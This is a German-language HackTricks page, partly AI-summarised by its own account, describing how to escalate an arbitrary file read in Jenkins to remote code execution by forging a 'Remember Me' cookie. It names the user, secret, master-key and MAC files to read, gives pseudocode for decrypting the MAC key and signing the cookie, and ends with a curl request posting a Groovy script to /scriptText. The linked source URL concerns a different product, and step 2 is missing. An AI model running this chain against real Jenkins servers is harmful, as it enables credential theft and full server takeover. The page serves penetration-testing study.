Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Schwachstelle in Jenkins in RCE zu verwandeln: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies missbraucht wird, um RCE zu erhalten, indem ein lokales Datei-Lesen ausgenutzt wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:

Angriffsvoraussetzungen

  • Funktionsanforderung: "Remember me" muss aktiviert sein (Standard-Einstellung).

  • Zugriffslevel: Angreifer benötigt Gesamt-/Lese-Berechtigungen.

  • Geheimer Zugriff: Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.

Detaillierter Ausbeutungsprozess

Schritt 1: Datensammlung

Benutzerinformationsabruf

  • Greife auf die Benutzerkonfiguration und Geheimnisse aus $JENKINS_HOME/users/*.xml für jeden Benutzer zu, um Folgendes zu sammeln:

  • Benutzername

  • Benutzer-Seed

  • Zeitstempel

  • Passwort-Hash

Geheimschlüssel-Extraktion

  • Extrahiere kryptografische Schlüssel, die zum Signieren des Cookies verwendet werden:

  • Geheimschlüssel: $JENKINS_HOME/secret.key

  • Master-Schlüssel: $JENKINS_HOME/secrets/master.key

  • MAC-Schlüsseldatei: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token-Vorbereitung

  • Berechne die Token-Ablaufzeit:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Fügt eine Stunde zur aktuellen Zeit hinzu
  • Verknüpfe Daten für das Token:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC-Schlüsselentschlüsselung

  • Entschlüssele die MAC-Schlüsseldatei:

key = toAes128Key(masterKey)  // Konvertiere den Master-Schlüssel in das AES128-Schlüssel-Format
decrypted = AES.decrypt(macFile, key)  // Entschlüssele die .mac-Datei
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signaturberechnung

  • Berechne HMAC SHA256:

mac = HmacSHA256(token, macKey)  // Berechne HMAC mit dem Token und dem MAC-Schlüssel
tokenSignature = bytesToHexString(mac)  // Konvertiere das MAC in einen hexadezimalen String

Cookie-Codierung

  • Generiere das endgültige Cookie:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Base64 kodiere die Cookie-Daten

Schritt 3: Codeausführung

Sitzungsauthentifizierung

  • Abrufen von CSRF- und Sitzungstoken:

  • Mache eine Anfrage an /crumbIssuer/api/json, um Jenkins-Crumb zu erhalten.

  • Erfasse JSESSIONID aus der Antwort, die zusammen mit dem Remember-Me-Cookie verwendet wird.

Befehlsausführungsanfrage

  • Sende eine POST-Anfrage mit Groovy-Skript:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.

Das bereitgestellte Beispiel für den curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen.

Support HackTricks

Last updated